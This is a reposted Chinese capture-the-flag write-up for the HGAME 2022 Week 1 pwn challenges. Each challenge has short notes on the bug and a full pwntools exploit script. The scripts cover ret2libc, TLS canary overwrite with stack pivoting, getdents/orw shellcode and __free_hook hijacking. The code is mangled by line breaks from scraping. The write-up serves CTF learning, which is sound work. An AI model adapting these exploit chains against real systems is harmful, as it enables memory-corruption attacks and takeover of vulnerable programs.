生活随笔
收集整理的這篇文章主要介紹了
PWN-COMPETITION-HGAME2022-Week1
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
PWN-COMPETITION-HGAME2022-Week1
- enter_the_pwn_land
- enter_the_evil_pwn_land
- oldfashion_orw
- ser_per_fa
- test_your_nc
- test_your_gdb
enter_the_pwn_land
棧溢出,需要注意的是下標 i 的地址比輸入s的地址更高
s溢出會覆蓋 i ,于是需要小心地覆寫 i 的值,讓循環順利執行下去
然后就是常規的ret2libc
from pwn
import *
context
.log_level
="debug"
io
=process
("./pwn1")
elf
=ELF
("./pwn1")main_addr
=0x401260
puts_got
=elf
.got
["puts"]
puts_plt
=elf
.plt
["puts"]
pop_rdi
=0x401313
ret
=0x40101a
payload
="a"*44+p32
(44)+"b"*8+p64
(pop_rdi
)+p64
(puts_got
)+p64
(puts_plt
)+p64
(main_addr
)
io
.sendline
(payload
)
puts_addr
=u64
(io
.recvuntil
("\x7f")[-6:].ljust
(8,"\x00"))
print("puts_addr=="+hex(puts_addr
))
libc_base
=puts_addr
-0x0875a0
system
=libc_base
+0x055410
binsh
=libc_base
+0x1b75aapayload
="a"*44+p32
(44)+"b"*8+p64
(pop_rdi
)+p64
(binsh
)+p64
(ret
)+p64
(system
)+p64
(main_addr
)
io
.sendline
(payload
)io
.interactive
()
enter_the_evil_pwn_land
棧溢出,開了canary保護
不能通過覆蓋canary低字節為0x0A,從而puts出canary
test_thread返回時檢測到canary不正確,程序就會crash
test_thread是新創建的線程,而且棧可溢出的字節數很多,考慮直接覆寫TLS中的canary
關鍵是確定TLS中canary的偏移,參考:canary的各種姿勢
通過爆破,確定本題的TLS中canary的偏移為2160
然后是通過棧遷移實現ret2one_gadget
from pwn
import *
context
.log_level
="debug"
io
=process
("./enter_the_evil_pwn_land")
elf
=ELF
("./enter_the_evil_pwn_land")
libc
=ELF
("./libc-2.31.so")buf
=0x404060
offset
=2160
main_addr
=0x4011D6
leave_ret
=0x40125A
puts_got
=elf
.got
["puts"]
puts_plt
=elf
.plt
["puts"]
read_plt
=elf
.plt
["read"]
pop_rdi
=0x401363
pop_rsi_r15
=0x401361
ret
=0x40101a
payload
="a"*48+p64
(buf
)+p64
(pop_rdi
)+p64
(puts_got
)+p64
(puts_plt
)
payload
+=p64
(pop_rdi
)+p64
(0)+p64
(pop_rsi_r15
)+p64
(buf
)+p64
(0)+p64
(read_plt
)+p64
(leave_ret
)
payload
=payload
.ljust
(offset
,"a")
io
.sendline
(payload
)
puts_addr
=u64
(io
.recvuntil
("\x7f")[-6:].ljust
(8,"\x00"))
print("puts_addr=="+hex(puts_addr
))
libc_base
=puts_addr
-libc
.sym
["puts"]
print("libc_base=="+hex(libc_base
))pop_rdx_r12_ret
= libc_base
+0x11c371
ogg
=libc_base
+0xe6c7epayload
="a"*8+p64
(pop_rdx_r12_ret
)+p64
(0)+p64
(0)+p64
(ogg
)
io
.sendline
(payload
)io
.interactive
()
oldfashion_orw
-1繞過atoi,然后棧溢出,泄露libc基址
按照題目描述和hint,知道要讀目錄
讀目錄對應的系統調用為__NR_getdents,系統調用號為78
參考:getdents - 獲得目錄項
遍歷目錄,找文件名前4個字符為"flag"的文件,然后orw打印flag
讀目錄,遍歷目錄和orw沒有很合適的gadgets,故直接寫成shellcode
于是要先mmap出一塊可執行的內存
exp如下:
from pwn
import *
from pwnlib
.rop
import *
from pwnlib
.context
import *
from pwnlib
.fmtstr
import *
from pwnlib
.util
.packing
import *
from pwnlib
.gdb
import *context
.log_level
="debug"
context
.arch
="amd64"
context
.os
="linux"
io
=remote
("chuj.top",43565)
elf
=ELF
("./vuln")
libc
=ELF
("./libc-2.31.so")
rop
=ROP
(elf
)
rop
.write
(1,elf
.got
["write"])
for i
in range(0x90//6):rop
.read
(0,elf
.bss
(i
*6))
rop
.migrate
(elf
.bss
())io
.sendlineafter
("size?\n","-1")
io
.sendafter
("content?\n","\x00"*0x38+rop
.chain
())
io
.recvuntil
("done!\n")
libc_base
=u64
(io
.recv
(6).ljust
(8,"\x00"))-libc
.sym
["write"]
libc
.address
=libc_basestring_
="./\x00"
shellcode
=asm
("""mov rsi,0x10000mov rdi,0x600000mov rax,2syscallmov rdx,0xf00mov rsi,0x600100mov rdi,raxmov rax,0x4esyscallmov r8,raxadd r8,0x600100mov r9,0x600100start:mov edx,dword ptr[r9+0x12]cmp edx,0x67616c66je printxor rcx,rcxmov cx,word ptr[r9+0x10]add r9,rcxcmp r9,r8jl startjmp endprint:xor rsi,rsimov rdi,r9add rdi,0x12mov rax,2syscallmov rdx,0x100mov rsi,0x600200mov rdi,raxmov rax,0syscallmov rdx,raxmov rsi,0x600200mov rdi,1mov rax,1syscallend:jmp $""")rop2
=ROP
(libc
)
rop2
.mmap
(0x600000,0x1000,7,0x21)
rop2
.read
(0,0x600000,len(shellcode
)+len(string_
))
rop2
.call
(0x600000+len(string_
))
io
.send
(rop2
.chain
())
sleep
(1)
io
.send
(string_
+shellcode
)io
.interactive
()
ser_per_fa
程序實現了一個spfa算法,題目提示漏洞點不在spfa算法內,于是分析其他地方
main函數中,第33、34行,可以給v6輸入一個負數,實現任意讀,泄露程序基址和libc基址
add函數中,當寫入很多組數據時,num_edge也會被覆寫
覆寫num_edge為合適的值,實現任意寫
spfa函數中,第36行,刪除隊列會調用free
于是配合上面的任意寫,將free_hook寫成后門函數地址即可getshell
from pwn
import *
import hashlib
context
.log_level
="debug"
io
=process
("./spfa")
elf
=ELF
("./spfa")
libc
=ELF
("./libc-2.31.so")def get_pwd(str, num
):if(num
== 1):for x
in str:yield x
else:for x
in str:for y
in get_pwd
(str, num
-1):yield x
+ystrKey
=""
for i
in range(33,127):strKey
+=chr(i
)
io
.sendlineafter
("datas?\n>> ","3")
num
=1
io
.sendlineafter
("nodes?\n>> ",str(num
))
io
.sendlineafter
("edges?\n>> ",str(num
))
for i
in range(num
):io
.sendline
("1 2 3")io
.sendlineafter
("which node?\n>> ","1")
__frame_dummy_init_array_entry
=(elf
.sym
["__frame_dummy_init_array_entry"]-elf
.sym
["dist"])//8
io
.sendlineafter
("to ?\n>> ",str(__frame_dummy_init_array_entry
))
io
.recvuntil
("shortest path is ")
proc_base
=int(io
.recvuntil
("\n")[:-1])-elf
.sym
["frame_dummy"]
print("proc_base=="+hex(proc_base
))
backdoor
=proc_base
+0x16A5
print("backdoor=="+hex(backdoor
))
unk_7068_addr
=proc_base
+0x7068
print("unk_7068_addr=="+hex(unk_7068_addr
))
num
=1
io
.sendlineafter
("nodes?\n>> ",str(num
))
io
.sendlineafter
("edges?\n>> ",str(num
))
for i
in range(num
):io
.sendline
("1 2 3")io
.sendlineafter
("which node?\n>> ","1")
stdout
=(elf
.bss
()-elf
.sym
["dist"])//8
io
.sendlineafter
("to ?\n>> ",str(stdout
))
io
.recvuntil
("shortest path is ")
_IO_2_1_stdout_
=int(io
.recvuntil
("\n")[:-1])
print("_IO_2_1_stdout_=="+hex(_IO_2_1_stdout_
))
libc_base
=_IO_2_1_stdout_
-libc
.sym
["_IO_2_1_stdout_"]
print("libc_base=="+hex(libc_base
))
free_hook_addr
=libc_base
+libc
.sym
["__free_hook"]
print("free_hook_addr=="+hex(free_hook_addr
))
free_hook_to_unk_7068_offset
=(free_hook_addr
-unk_7068_addr
)//24
print("free_hook_to_edge_offset=="+hex(free_hook_to_unk_7068_offset
))
num
=609
io
.sendlineafter
("nodes?\n>> ",str(num
+1))
io
.sendlineafter
("edges?\n>> ",str(num
+1))
send_content
=str(1)+" "+str(num
+1)+" "+str(free_hook_to_unk_7068_offset
-1)
for i
in range(num
):io
.sendline
(send_content
)send_content
=str(1)+" "+str(backdoor
)+" "+str(backdoor
)
io
.sendline
(send_content
)io
.sendlineafter
("which node?\n>> ","2")io
.sendline
("cat flag")io
.interactive
()
test_your_nc
nc連上去,cat flag即可
test_your_gdb
調試得到s2的16字節數據,第23行的write泄露canary,第24行的gets造成棧溢出
程序有后門函數,ret2text即可
from pwn
import *
context
.log_level
="debug"
io
=process
("./test_your_gdb")
elf
=ELF
("./test_your_gdb")backdoor
=0x401256
ans1
=0xb0361e0e8294f147
ans2
=0x8c09e0c34ed8a6a9
io
.sendafter
("pass word\n",p64
(ans1
)+p64
(ans2
))io
.recv
(24)
canary
=u64
(io
.recv
(8))
print("canary=="+hex(canary
))payload
="a"*24+p64
(canary
)+"b"*8+p64
(backdoor
)
io
.sendline
(payload
)io
.interactive
()
總結
以上是生活随笔為你收集整理的PWN-COMPETITION-HGAME2022-Week1的全部內容,希望文章能夠幫你解決所遇到的問題。
如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。